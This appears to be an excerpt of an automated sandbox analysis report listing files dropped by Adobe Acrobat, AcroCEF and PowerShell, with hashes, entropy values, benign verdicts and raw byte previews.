SHA-256:	477DF415349AB1D1A35E77A6A349A0FE836F43BD7D3F966C35FD4DEEFF417833
SHA-512:	60231566C59273A28F3301AA387D3B648D56FF84EABC99646C0C8DB24481346357F69E9FB761CD114F1A4412FA5877F59571BB17D5BA7B3D40FD110CF6052D9E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a8d9b1f6-70f1-4136-9b76-66966f830b33","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736704132300,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.156110747762826
Encrypted:	false
SSDEEP:	48:Y0sEKN7Rqm+gL0wbkTytFZ9fJfdxT49BWbF:WGm+Ibk89fdxSW
MD5:	83D203A622A6D9329F9DDC5710C621A8
SHA1:	4D66B9E80BD14049FA6B30CC9E1FC819678FC7E3
SHA-256:	93B8F9E510D547ACB5CFC82483665E05751D09F79071E7072CF32E27923F4BCA
SHA-512:	8E5CFC52BF692BB8C486C1CDBB1B8D574FD930F8A2B428F4FFB78DC5E686EC65FF414451D4C43E88205ED1CCDB6F2C708AA3316A4D25082F98A82F01397348B0
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"582cf47f74edad5a726f3222a6fc5409","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736529892000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"af13a01d714cb3e1268534807a49fb67","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736529892000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"24fde75b07c4574bc802d69a5a87f5c4","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736529892000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"92aa68e91085d6d99ffa97f5230febba","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736529892000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"644412bf5c4c477751b8ab185fea8308","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736529892000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"6700f440ddc1177dc495d914394714f3","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.45380466121811
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2ds1lX:lNVmsw3SHtbDbPe0K3+fDZdY
MD5:	47634DABACC1FC64889629E2BC907A03
SHA1:	CFE2720485FD5FD6F77E7DE8F630B6FF28D34FAB
SHA-256:	D4899E3E59A02118A108353EFC8EEA380DAF250617A2A4487727FE4AE5302A6C
SHA-512:	E080A8FAF1E073A69022DDF8B9841A9B7146346B20D334EF60AC278AEFE1B51A9EEDEB13C680CBD259E8EC7E615D79388D6E2F5ED0986D46C3E9BF91601040C4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9573042771572235
Encrypted:	false
SSDEEP:	48:7M0rvrBd6dHtbGIbPe0K3+fDy2dsAZqFl2GL7msih:7R3SHtbDbPe0K3+fDZdrKVms0
MD5:	28091EE4610733A6CC552B3216192749
SHA1:	C2349BB6D2A955777212FA120B37A8BA149DAD48
SHA-256:	A2070A42B35C51451E0A65CC7F3DDAE89C4FD74AB6D9F68BB4098730F2DD6D99
SHA-512:	AE1CD1E64400CF9481BBCB0E84D16C01674860D45FC9F2C12BEECA4995A9760ED31CC746C5785A24974FEC682C10D217AF8FCA2A707447A4DEBC70B72DF325D1
Malicious:	false
Preview:	.... .c......h_j......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgE1BkK1WRB1+fHgiuJINTv8UdOBhYyu:6a6TZ44ADErB1+fAJJIBvhOBhK
MD5:	BE6BA293F8F8B191B3E80B1F04F448F9
SHA1:	B79B4DB4A9A8B71D03CF5A128C80028C9D1EEEA3
SHA-256:	AE3FDE4223F41A078473A92A1769B70AA55A88A5EB526560FD7FCE1574EBFDD3
SHA-512:	5258F8FA54671AEDF6CF0A1ECC71E8BA6E8E74DD62776732ADA795285F2AF7D2EA2760E27243257BA9CC57B9C23614C9D16C47CD6D6872EAFF50D91266E99092
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSIb710e.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.493870954423123
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE3nH:Qw946cPbiOxDlbYnuRK+bD3H
MD5:	6174E2D0B10C5081BA2465BF0D887194
SHA1:	42DEB9181FC734D358EF7C9FE904D34AD5AC7263
SHA-256:	CE68BC738E83977674226AF88D88B02D202942E76D20F89B279D36763F860324
SHA-512:	B58FEBBBC731B1C31E7013AC3732BAE527DC2C2BA0B750A85BFF91B95BF9301813783C3C5B17386BBE2BA5E0E6C7C91A1CC40BAF38AED574A4D4AC186D75EF68
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.2.:.2.4.:.5.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0td5aeda.ccu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qsdnbj3b.tq4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91k0r7st_9ebsib_5so.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91qwt6t6_9ebsic_5so.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 12-24-45-116.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.346867177744488
Encrypted:	false
SSDEEP:	384:XDhK5/8Tvkp07BKHSgejHU5XDWaxBFAe3QDnJCtut2fFG/RPioo7pN2N2zqy0OpE:T30E3
MD5:	581CF78D89906A71D4FFB803FAEC51CF
SHA1:	2D596FAE0C3442D1D9898A2791D0AD5E0BB398CC
SHA-256:	E6C0C95B7C462524E007E1840CD7EBC0C17365F9049D66F5B60230F319F997B2
SHA-512:	3706ED307306E9EF3709E438373D8668DAC7573D15221D637BB082159216A35862BE8A4159BA3873BC7DCED9E77EA1E149E091511D3902F6ED6EF20B71829972
Malicious:	false
Preview:	SessionID=5594a6d9-59ca-4d08-b819-00c7a0145f57.1736529885144 Timestamp=2025-01-10T12:24:45:144-0500 ThreadID=7236 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=5594a6d9-59ca-4d08-b819-00c7a0145f57.1736529885144 Timestamp=2025-01-10T12:24:45:145-0500 ThreadID=7236 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=5594a6d9-59ca-4d08-b819-00c7a0145f57.1736529885144 Timestamp=2025-01-10T12:24:45:145-0500 ThreadID=7236 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=5594a6d9-59ca-4d08-b819-00c7a0145f57.1736529885144 Timestamp=2025-01-10T12:24:45:145-0500 ThreadID=7236 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=5594a6d9-59ca-4d08-b819-00c7a0145f57.1736529885144 Timestamp=2025-01-10T12:24:45:145-0500 ThreadID=7236 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.406941292456558
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRj4:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRO
MD5:	F43B4D22069E5F954F8F147D121C6AB4
SHA1:	BDC813B90F20B8D0F29A363617C3E4D5D73619F5
SHA-256:	D1A2CBFB2144DD9158E1CD5672BF38328EAA540A728521859D76BB4AFE45EEE5
SHA-512:	CFB1B0B7798D60775A0C501E81A871C6FEE554C2D2D1BBA51240C4F3C7450E9F7A7062CAEFFDE8394E3BE27DFFFB1C3096C94E9B5439C835C283AE3F03F7F91A
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\02a8a074-2404-434b-81cb-3a108e881c75.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLcGZtwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLcGZtwZGk3mlind9i4ufFXpAXkru
MD5:	A46246FAEAB95D87F5B4FE236C2B3D3E
SHA1:	7F018DB9238A63FEAD8D11A92297E7366058A75A
SHA-256:	7E822FECC47177C5A7F4C250E7D53509D104DE68B0D0CE9445877B508400988E
SHA-512:	8AAB79958BF39F014FBA7F69287FE0C357746E63FA3482DE3231BDF4A97B964A0815DAF7BFE9751C55BA6BE618E0A964CEB23FC30B4FA9DFEB284F42EBA897BF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\7f35706b-8cc5-46ba-94a9-6c4cd1501d1c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\b6556f0d-b203-464b-bdb3-ac3d5f81cac8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\bea4ddbd-ffa9-4262-bfec-c21b9240ffbc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
